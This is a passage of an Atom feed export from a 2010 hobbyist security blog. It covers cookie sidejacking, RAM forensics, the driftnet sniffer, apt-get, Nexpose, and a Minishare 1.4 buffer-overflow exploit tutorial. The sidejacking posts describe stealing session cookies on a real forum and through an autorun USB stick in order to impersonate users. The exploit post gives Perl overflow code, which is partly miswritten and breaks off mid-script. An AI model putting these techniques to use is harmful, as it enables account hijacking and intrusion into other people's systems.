drives and process them when you get home to your attacking machine. Whats even more clever is to create an auto-run script that automates this process. So you would have a malicious usb thumb drive and when you plug it up to a victims machine, it copies the necessary cookies from the victims machine to the thumb drive in a few seconds (say 5 seconds). The attacker can takes those cookies home and munch on them as he grins in amazement as he reads his victims eamils without even logging in with the relevant user name and password.&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1604876167903123349?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1604876167903123349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/02/more-on-cookiessidejacking-and-browsers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1604876167903123349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1604876167903123349'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/02/more-on-cookiessidejacking-and-browsers.html' title='More on cookies(sidejacking) and browsers'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5137420251424068157</id><published>2010-02-23T11:10:00.000-08:00</published><updated>2010-02-25T08:18:23.043-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='volatility'/><category scheme='http://www.blogger.com/atom/ns#' term='mdd'/><category scheme='http://www.blogger.com/atom/ns#' term='foremost'/><category scheme='http://www.blogger.com/atom/ns#' term='scalpel'/><title type='text'>RAM(memory) analysis</title><content type='html'>What is stored in ram? Programs? Yes. Can you think of anything else? Well let me introduce you to a crucial aspect of almost every digital forensics investigation. Digital forensics doesn't stop at hard drive analysis as most indiviuals may assume but in many cases (most) when applicable, the RAM is also investigated. RAM can reveal many things that a hard drive wouldn't. Put simply, a hard may contain pieces of the entire puzzle and the RAM may contain the remaining pieces. Just as an example. If a user sent an email to someone using some outlook and deleted stored copy of from the "sent emails" folder, how would you attempt to recover that? First off, you probly wouldn't even have a clue that it exists. The hard drive would have information about outlook being used but the information ends there. Chances are that you wont be able to recover such info from the hard drive in this case but all is not lost. Back to the original question i started off with, What is stored in RAM? Alot on things to be put in one sentence. You can find programs, passwords, web pages, pictures, documents etc. These represent files and programs that were accessed from the time the system was started and been up and running. This means that you can recover files from RAM. Yes, you can use a method in which you can carve the files out of memory, using similar recovery techniques used in hard drives to recover data.&lt;br /&gt;&lt;br /&gt;I'm gonna go through a simple demonstation, from obtaining RAM and tools you can use to analyze or carve files out of memory.&lt;br /&gt;&lt;br /&gt;Mdd:&lt;br /&gt;This is a windows based command line tool that can dump the contents of RAM fairly fast.&lt;br /&gt;command:&lt;span style="color: rgb(255, 102, 102);"&gt; mdd.exe -o ramimage.img &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After mdd has dumped the RAM, i then upload it to a typical linux distro for analysis (I use Backtrack 4).&lt;br /&gt;&lt;br /&gt;I then can use the "strings" command and pipe the output to the "grep" command to search for keywords like 'password', 'vb_login', 'md5_password', 'confidential', 'secret' etc.&lt;br /&gt;&lt;br /&gt;To get an idea of the websites browsed/visited in the time the machine was booted i like to use the following :&lt;br /&gt;&lt;ul&gt;&lt;li style="color: rgb(255, 102, 102);"&gt;#strings diskimage.img | grep "Visited:" |more&lt;/li&gt;&lt;li style="color: rgb(255, 102, 102);"&gt;#strings diskimage.img | grep "Referer:" |more&lt;/li&gt;&lt;/ul&gt;A more advanced utility that i find very useful is the Volatility frame work. Its a python based suite of tools used to parse RAM dumps for more specific information. This includes a listing of all currently running processes, a listing of running services and open ports (equivalent to the netstat command), lists the loaded dlls, lists open files and much more. Its more for the advanced user so i wont get into it but its not that very hard to use. Oh, in Windows XP service pack 3 (or 2, cant remeber which), you can get the SAM hashes from the acquired memory image.&lt;br /&gt;&lt;br /&gt;xxd can be a usefull utility that gives you an alternative way to view memory.&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#xxd diskimage.img|more&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To carve files out of RAM i use scalpel or foremost. These programs allow you to carve files by first identifying special bytes that indicate the potential file types for files. The header and footer information may also be needed to carve out the entire file itself.&lt;br /&gt;&lt;br /&gt;Autopsy is a more enterprise suite that combines ease of use and a nice interface into the methods that were discussed earlier. It groups investigations into cases and keeps everything you do organized. This tool is used by many professional organizations for investigating cyber crimnals, etc. but shouldn't be used by itself as an entire forensics solution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5137420251424068157?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5137420251424068157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/02/rammemory-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5137420251424068157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5137420251424068157'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/02/rammemory-analysis.html' title='RAM(memory) analysis'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-661509138968514633</id><published>2010-02-23T10:44:00.000-08:00</published><updated>2010-02-23T13:23:05.496-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='drifntet'/><title type='text'>Driftnet, - a sniffer for you(noob), but not so much for me</title><content type='html'>Although i can never find a situation where this tool becomes a must have for my security toolbox, maybe someone else might. Its a simple sniffer with a specific purpose. It looks for and captures images and can store them to a location you specify. Whats also cool about the tool is that it can display images instantly as they are seen across the wire in a little window panel that updates almost instantaneously. It only picks out jpeg and gif type images which is basically most of the images out on the internet anyways.&lt;br /&gt;&lt;br /&gt;Drifnet also has the ability to sniff mpeg audio as well from the network and potentialy play them through a player such as mpg123.&lt;br /&gt;&lt;br /&gt;Commands:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#driftnet -h&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//help, lists other available commands&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#driftnet -i eth0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//sniffs images and displays them instantly in a little window as it sees them across the wire. You would have to click on the image to save them in the current folder.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;For more information on this tool, google has lots of info for you to discover and the man pages are almost always available to you in linux.&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-661509138968514633?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/661509138968514633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/02/driftnet-sniffer-for-younoob-but-not-so.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/661509138968514633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/661509138968514633'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/02/driftnet-sniffer-for-younoob-but-not-so.html' title='Driftnet, - a sniffer for you(noob), but not so much for me'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3119908682121299055</id><published>2010-02-01T12:41:00.000-08:00</published><updated>2010-02-22T12:09:34.803-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sidejacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Stealing cookies'/><title type='text'>Stealing cookies to impersonate web-users and hijack user accounts (Sidejacking)</title><content type='html'>This post is more on theory behind such an attack and why they work. I blogged about a tool called ferret and hamster in the past which can be used to demonstrate this attack. When i first saw the awesomeness of such a tool a line was drawn between me having the understanding of what was really going on and being  a script kiddie. I knew how the attack works and why it works but it was never something i could've accomplished on my own. That is no longer the case anymore :)&lt;br /&gt;&lt;br /&gt;The idea behind the side jacking attack is to impersonate a user via their cookies and session IDs. Cookies and session IDs are two mechanisms that a webserver may use to authenticate or remember its clients. For example, say you log onto gmail and you exit that web browser session without signing off, the next time you open up your browser and navigate to the gmail sign on page, you would notice that you are automatically signed in. This is because there are certain cookies and session ids stored in your browser that is being used to authenticate you to gmails servers.&lt;br /&gt;&lt;br /&gt;This attack isnt quite difficult using tools like ferret and hamster that are already out there but sometimes things don't work like they should. I've encountered such problems and decided to digg deeper into this and see how i can do this attack without using such tools and maybe i can understand why they work sometimes and fail the other times. The difficulty in writing such a program is in figuring out what cookies to clone. In my research i also found that only the content field in the cookie might be used to authenticate the user and not so much the expiration date  and time fields. Haven't tested on many sites but i tested on one of my favorite music discussion forums, www.boxden.com.&lt;br /&gt;&lt;br /&gt;I wrote a few perl sniffers including one(specifically tailered to sniff the cookies from the boxden.com domain, that extracts the cookie information in an easy to read format. When the sniffer sees the necessary cookies from this domain, including session and userid cookie information, it pulls them out and dumps them to standard output(screen). I can then quickly manually use a firefox extension to edit and or add cookie information as necessary. After insertion of the required cookies, i can then navigate to the domain (in this example, www.boxden.com) and with some good luck, you would now be impersonating someones user account. You now would be able to read their emails, edit some of their personal information etc. Its for this reason users should be more concious, not only when using public internet hotspots, but even at work and their homes as well. This type of attack can best be mitigated by remembering to logout from all your web sessions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3119908682121299055?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3119908682121299055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/02/stealing-cookies-to-impersonate-web.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3119908682121299055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3119908682121299055'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/02/stealing-cookies-to-impersonate-web.html' title='Stealing cookies to impersonate web-users and hijack user accounts (Sidejacking)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2495681474042394022</id><published>2010-01-27T06:28:00.000-08:00</published><updated>2010-01-30T09:54:17.891-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='cheatsheet'/><title type='text'>Apt-get cheat Sheet</title><content type='html'>Just something that always comes in handy for me and my short term memory. Apt-get is a package manager tool used to install, remove, update and manage packages (software) on debian/ubuntu based linux machines. I stubbled accross this on another blog and i find it to be short and straight to the point. Hope you may find this useful as well.&lt;br /&gt;&lt;br /&gt;Taken from &lt;span style="color: rgb(255, 102, 0);"&gt;http://archangelamael.blogspot.com/2009/06/using-apt-get-quick-reference.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are 3 basic installers in BT4 apt-get the basic command line package&lt;br /&gt;management system. aptitude is a curses based front end for apt-get.&lt;br /&gt;And synaptic which is a gui version. Other than that there really are no major&lt;br /&gt;differences.&lt;br /&gt;Now lets look at some of the commands that are available for us.&lt;br /&gt;First&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# man apt-get&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The manual page read it.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-cache pkgnames&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Gives us the names of all the installed packages we have on the system.&lt;br /&gt;The list is not really to organized so add a | pipe and sort to the end and then it will alphabetized.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-cache search programname&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;add the name of a program that you want to search for. The command will show software packages with the expression you entered. One problem with apt is that it really needs the exact name of a package for better results.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get install packagename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pretty simple since all the work is now done for you.&lt;br /&gt;There is a caveat to this method of package installation. You can't pass any&lt;br /&gt;configuration options to the program. To remove a package just the opposite&lt;br /&gt;should be done.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get remove packagname&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will remove the package but may not remove all configuration files. In order for that do instead&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get remove --purge packagename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next updating software.&lt;br /&gt;First:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This updates the list of currently installed software, this is the same list that we saw earlier. Next actually updating said list.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get upgrade&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now the thing about this command is that it will upgrade to the most recent&lt;br /&gt;version of all packages on the system. This may or may not always be the best way of doing business. Some packages may not work as well as the older ones. Use with care. use a -s before upgrade to simulate, or see which software will be updated. A better way is to use dist-upgrade&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# apt-get dist-upgrade&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This will upgrade all packages with conflict resolution and discarding less important packages for more important ones. There are many other commands but the above should help get you started working with apt. Hope it helps.&lt;br /&gt;Credits: This tutorial was created with help from the Debian APT How-To which can be found here: &lt;a href="http://www.debian.org/doc/ddp"&gt;Debian -- Debian Documentation Project&lt;/a&gt;&lt;br /&gt;And the man page&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;http://archangelamael.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;http://archangelamael.blogspot.com/2009/06/using-apt-get-quick-reference.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2495681474042394022?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2495681474042394022/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/apt-get-cheat-sheet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2495681474042394022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2495681474042394022'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/apt-get-cheat-sheet.html' title='Apt-get cheat Sheet'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8826784825660090003</id><published>2010-01-27T05:35:00.000-08:00</published><updated>2010-01-27T09:04:52.910-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nexpose'/><title type='text'>Up and running with Nexpose</title><content type='html'>Nexpose is a vulnerability scanner made by the team at rapid7 (company that now owns the metasploit project). Its very similar to the popular Nessus, which i haven't blogged about yet but have used in the past (will blog about Nessus soon). Just to point out some of the features quoted from their website at rapid7.com:&lt;br /&gt;&lt;br /&gt;&lt;ul class="items"&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Unrivaled breadth of vulnerability scanning&lt;/strong&gt; - scans for more than 11,000 vulnerabilities with nearly 40,000 vulnerability checks based on pre-defined scan templates in networks, operating systems and databases (up to 32 IPs).&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Regular vulnerability updates&lt;/strong&gt; - automatically provides vulnerability updates without user intervention. Delivers immediate Microsoft Patch Tuesday vulnerability updates within 24 hours or less to stay current with the changing threat landscape.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Prioritized risk assessment &lt;/strong&gt; - identifies risk based upon how the vulnerability in one system affects another.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Remediation guidance&lt;/strong&gt; - helps resolve vulnerabilities quickly and easily with the information provided in remediation reports.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Accurate scan results&lt;/strong&gt; - delivers accurate scanning results in less time with an expert system that combines traditional scanning methods with assessment processes modeled after human decision making.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Out-of-the box Metasploit integration&lt;/strong&gt; - works with the Metasploit Framework to provide remote scan control, exploit identification and automated exploitation functionality to NeXpose users&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Extensive community support&lt;/strong&gt; - provides collaboration and knowledge exchange among security professionals via full access to the Rapid7 Community Portal at &lt;a href="http://community.rapid7.com/" title="Community - Rapid7" target="_blank"&gt;http://community.rapid7.com&lt;/a&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;strong&gt;Simple deployment&lt;/strong&gt;- easily deploys as a software solution on laptops and desktops.&lt;/span&gt;&lt;/li&gt;&lt;li class="last"&gt;&lt;span&gt;&lt;strong&gt;No cost start-up security solution&lt;/strong&gt; - provides a free entry-level vulnerability management solution.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Nexpose can work both on 32 and 64 bit versions of linux and windows. Installation is simple and straight forward as long as you are very precise in following instructions :). I used archangelamael.blogspot.com tutorial to get things up and running.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[Installation:]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http://archangelamael.blogspot.com/2009/12/installing-nexpose-in-back-track-4.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[Using NeXpose]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http://archangelamael.blogspot.com/2009/12/using-nexpose-in-back-track-4.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8826784825660090003?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8826784825660090003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/up-and-running-with-nexpose.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8826784825660090003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8826784825660090003'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/up-and-running-with-nexpose.html' title='Up and running with Nexpose'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7337859970194259205</id><published>2010-01-22T17:13:00.000-08:00</published><updated>2010-01-22T17:47:35.644-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='minishare'/><title type='text'>Easy File sharing with Minishare</title><content type='html'>What can i say, i love small, non-complex tools that get the job done and minishare happens to be one of them. Whenever i leave my house and want to be able access certain files from anywhere without haveing to set up FTP's (most of them tend to be vulnerable to some exploit anyways) and complex webservers. Minishare is the simplest and most elegant solution i've come across. Its quite intuitive to use, reading the user manual is far from necessary, its that easy. Simply run the server and start dragging and dropping your files that you want to share, thats all. To access the files remotely, simply point to the IP of that machine (external IP) using a web browswer and voila, you are presented with the files as a list, where you can click to download them as you please. Most important, its 100% free.&lt;br /&gt;&lt;br /&gt;Note: Please download the latest versions of the application. In my previous blog, i blog about a buffer overflow vulnerability in version 1.4, that led to remote code execution. Latest version available at this posting is 1.54.&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://minishare.sourceforge.net/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7337859970194259205?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7337859970194259205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/easy-file-sharing-with-minishare.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7337859970194259205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7337859970194259205'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/easy-file-sharing-with-minishare.html' title='Easy File sharing with Minishare'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-866724462507769047</id><published>2010-01-22T11:33:00.000-08:00</published><updated>2010-01-22T13:34:34.355-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='minishare'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><title type='text'>Developing an exploit for buffer overflows...The  Entire Life Cycle.</title><content type='html'>Being a little familiar with reverse engineering windows executables, it wa time for me to take the next step. I'm quite familiar with using metasploit to exploit systems and gain root on systems but being the guy that i am, i like to just know how the underlying technology of things work. Having some background in reverse engineering and exploiting systems was all the prerequsites i needed to  take the next big step, writting my own code to exploit systems.&lt;br /&gt;&lt;br /&gt;Recently i started learning perl and wrote some nifty sniffer applications that can retrieve passwords and so forth. As everything i learnt in perl was still fresh in my head, i decided to use perl as the platform i would use to write exploits. I also followed this tutorial throughout my learning of writing exploits, even though they used python. I took the extra step in porting the code to perl :).&lt;br /&gt;&lt;br /&gt;Needed Software:&lt;br /&gt;minishare 1.4&lt;br /&gt;Ollydebug&lt;br /&gt;Backtrack 4&lt;br /&gt;&lt;br /&gt;Minishare is a minimal webserver running on port 80 that shares files. You run the program, add files to it, then you can access these files via a remote web browser and download them. In version 1.4 there was reported that there was a buffer overflow vunerability within the software (&lt;span style="color: rgb(255, 102, 0);"&gt;http://secunia.com/advisories/13114/&lt;/span&gt;). You can find information about software or OS vulnerabilities and exploit codes at websites such as &lt;span style="color: rgb(255, 102, 0);"&gt;http://secunia.com/advisories/search&lt;/span&gt;, &lt;span style="color: rgb(255, 102, 0);"&gt;www.milw0rm.com&lt;/span&gt; and&lt;cite&gt; &lt;/cite&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;www.exploit-db.com&lt;/span&gt;&lt;cite&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/cite&gt;Ollydbg is a win32 debuffer/assembler application that i frequently use for reverse engineering purposes&lt;span style="font-style: italic;"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Open up the  minishare.exe in Ollydbg and hit f9 key to start the execution.&lt;br /&gt;&lt;br /&gt;The next thing you want to do is trigger the vulnerability. From &lt;span style="color: rgb(255, 102, 0);"&gt;http://secunia.com/advisories/13114, &lt;/span&gt;we see that the exploit is triggered by  sending a specially crafted overly long request with a pathname larger than 1787 bytes. So lets  get to some perl code.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 102, 102);"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;use IO::Socket;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;############&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$port="80";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$host="192.168.1.60";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$proto="tcp";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$sock = IO::Socket::INET-&gt;(PeerPort=&gt; $port, $PeerAddr=&gt; $host, Proto=&gt; $proto) or die ("Connection issue");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff="GET ";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff .="\x41" x 2000;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff .=" HTTP/1.1\r\n\r\n";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;print $sock "$buff";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;close ($sock);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;The above perl code would connect to host 192.168.1.60 on tcp port 80 then send the malformed GET request to crash the minishare server. You should notice that EIP(Instruction pointer) and ESP (Stack pointer) have been over written with values of 41414141 respectively.&lt;br /&gt;&lt;br /&gt;We need to find out the offsets of EIP and ESP in our malformed sent string buffer. We use Metasploit's tools, patter_create and patter_offset to aid in this process.&lt;br /&gt;&lt;br /&gt;#./patter_create 2000.&lt;br /&gt;Copy the generated characters to your perl code.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 102, 102);"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;use IO::Socket;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;############&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$port="80";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$host="192.168.1.60";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$proto="tcp";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$sock = 